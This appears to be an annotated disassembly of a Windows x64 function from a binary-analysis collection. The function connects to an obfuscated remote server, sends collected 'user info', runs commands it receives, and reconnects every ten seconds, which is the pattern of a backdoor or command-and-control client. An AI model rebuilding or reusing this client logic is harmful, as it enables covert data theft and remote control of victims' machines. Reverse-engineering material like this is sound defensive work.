Function at 0x14000b600
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x650]
sub rsp, 0x750
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rbp + 0x640], rax
xor r14d, r14d
mov esi, r14d
mov dword [rbp - 0x78], r14d
call fcn.140002e10
mov ecx, 0x202
lea rdx, [rbp + 0xa0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000b69b
mov edx, eax
lea rcx, [rbp + 0x70]
call fcn.14000fd10
nop
mov r8, rax
lea rdx, str.WSAStartup_failed_with_error:
lea rcx, [rsp + 0x60]
call fcn.140008bb0
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1400013b0
lea rdx, [0x1400185b0]
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
movabs rdi, 0x7ffffffdabf41bff
mov r15d, 0xff
movabs r12, 0x4e94914effff
movabs r13, 0x431bde82d7b634db
nop
mov qword [rbp - 0x78], 0xffffffffffffffff
lea rdx, str.aWFqdmluYHZpdmlzcA
lea rcx, [rbp - 0x50]
call fcn.14000b410
nop
lea rdx, str.am9oaW0
lea rcx, [rbp - 0x70]
call fcn.14000b410
nop
cmp qword [rbp - 0x40], 0
jne 0x14000b70e
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r14
mov eax, recv
mov qword [rbp - 0x18], rax
mov byte [rbp - 0x30], 0
jmp 0x14000b7ba
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, dword [rbp - 0x40]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140008110
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rcx, qword [rbp - 0x10]
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp - 0x40]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbp]
movups xmmword [rbp - 0x20], xmm1
mov qword [rbp], r14
mov qword [rbp + 8], recv
mov byte [rbp - 0x10], 0
psrldq xmm1, 8
movq rax, xmm1
cmp qword [rbp - 0x60], 0
jne 0x14000b7df
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r14
mov r8d, recv
mov qword [rbp + 0x28], r8
mov byte [rbp + 0x10], 0
jmp 0x14000b88f
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r8, qword [rbp - 0x70]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, dword [rbp - 0x60]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp + 0x30]
call fcn.140008110
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r8, qword [rbp - 0x70]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp - 0x60]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rbp + 0x20], xmm1
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], recv
mov byte [rbp + 0x30], 0
mov rax, qword [rbp - 0x18]
psrldq xmm1, 8
movq r8, xmm1
or esi, 3
lea rcx, [rbp - 0x30]
cmp rax, 0xf
cmova rcx, qword [rbp - 0x30]
lea rdx, [rbp + 0x10]
cmp r8, 0xf
cmova rdx, qword [rbp + 0x10]
mov qword [rbp - 0x80], r14
mov qword [rbp + 0x70], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
mov dword [rbp + 0x78], 1
mov dword [rbp + 0x7c], 6
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x70]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, eax
test eax, eax
je 0x14000b91c
lea rdx, str.getaddrinfo_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400087b0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
lea rdx, [0x140008b70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000b97b
mov rdi, qword [rbp - 0x80]
test rdi, rdi
je 0x14000b971
nop word [rax + rax]
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000b968
mov r8d, dword [rdi + 0x10]
mov rdx, qword [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000b9c9
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x14000b930
movabs rdi, 0x7ffffffdabf41bff
lea rdx, str.Unable_to_connect_to_server__retrying_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400087b0
lea rcx, [rsp + 0x50]
call fcn.14000ab00
mov rax, qword [rsp + 0x50]
cmp rax, rdi
je 0x14000bfe8
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jns 0x14000bfe8
movabs rbx, 0x2540be400
add rbx, rax
jmp 0x14000bff2
mov rcx, qword [rbp - 0x78]
cmp rcx, 0xffffffffffffffff
je 0x14000b9d9
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbp - 0x78], rbx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, [rbp + 0x70]
call fcn.140007050
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.140006eb0
nop
mov r8d, 1
lea rdx, [0x140014c20]
mov rcx, rax
call fcn.140008590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp + 0x30]
lea rcx, [rbp + 0x50]
call fcn.140009ec0
or esi, 0xc
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000ba80
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ba7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c05e
call fcn.1400109f0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000babd
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c065
call fcn.1400109f0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], recv
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14000bb0e
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c06c
call fcn.1400109f0
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], recv
mov byte [rbp + 0x70], 0
cmp qword [rbp + 0x60], 0
jne 0x14000bb3b
lea rdx, str.User_info_string_is_empty__nothing_to_send.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x14000bbb2
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rdx, qword [rbp + 0x50]
xor r9d, r9d
mov r8d, dword [rbp + 0x60]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x14000bb8a
lea rdx, str.Failed_to_send_user_info._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008ce0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x14000bbb7
lea rdx, str.Successfully_sent
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008ce0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._bytes_of_user_info_to_the_server.
call fcn.140008ce0
lea rdx, [0x140008eb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14000bd3a
nop dword [rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x14000c081
mov byte [rbp + rcx + 0x240], 0
lea rdx, str.Received_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400087b0
mov rcx, rax
lea rdx, [rbp + 0x240]
call fcn.14000c0b0
lea rdx, [0x140008b70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
mov qword [rbp + 8], r14
lea rax, [rbp + 0x240]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000bc56
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x10]
call fcn.1400012b0
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.140002950
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000bcba
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bcb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c073
call fcn.1400109f0
mov qword [rbp], r14
mov qword [rbp + 8], recv
mov byte [rbp - 0x10], 0
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x30]
call fcn.140005d80
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000bd18
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bd13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c07a
call fcn.1400109f0
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x14000bbf0
jne 0x14000be0c
lea rdx, str.Connection_closed_by_server._Reconnecting_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400087b0
lea rcx, [rsp + 0x40]
call fcn.14000ab00
mov rax, qword [rsp + 0x40]
movabs rdi, 0x7ffffffdabf41bff
cmp rax, rdi
je 0x14000bd8d
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jns 0x14000bd8d
movabs rbx, 0x2540be400
add rbx, rax
jmp 0x14000bda0
movabs rbx, 0x7fffffffffffffff
nop word [rax + rax]
lea rcx, [rsp + 0x48]
call fcn.14000ab00
mov rax, qword [rsp + 0x48]
cmp rbx, rax
je 0x14000be4c
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jle 0x14000be4c
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jg 0x14000be00
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14000bdf7
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14000bda0
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x14000bda0
lea rdx, str.recv_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400087b0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140014cc8]
call fcn.14000c0b0
movabs rdi, 0x7ffffffdabf41bff
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000be87
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c087
call fcn.1400109f0
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], recv
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14000bed2
inc rdx
mov rcx, qword [rbp + 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000becd
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c08e
call fcn.1400109f0
mov byte [rbp + 0x10], 0
mov qword [rbp + 0x28], recv
mov qword [rbp + 0x20], r14
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000bf1d
inc rdx
mov rcx, qword [rbp - 0x30]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000bf18
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c095
call fcn.1400109f0
mov byte [rbp - 0x30], 0
mov qword [rbp - 0x18], recv
mov qword [rbp - 0x20], r14
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000bf6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000bf68
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c09c
call fcn.1400109f0
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], 7
mov qword [rbp - 0x60], r14
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000bfbe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000bfb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c0a3
call fcn.1400109f0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r14w
mov rcx, qword [rbp - 0x78]
cmp rcx, 0xffffffffffffffff
je 0x14000b6c0
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14000b6c0
movabs rbx, 0x7fffffffffffffff
lea rcx, [rsp + 0x58]
call fcn.14000ab00
mov rax, qword [rsp + 0x58]
cmp rbx, rax
je 0x14000be97
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jle 0x14000be97
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jg 0x14000c052
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14000c049
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14000bff2
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x14000bff2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010508
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3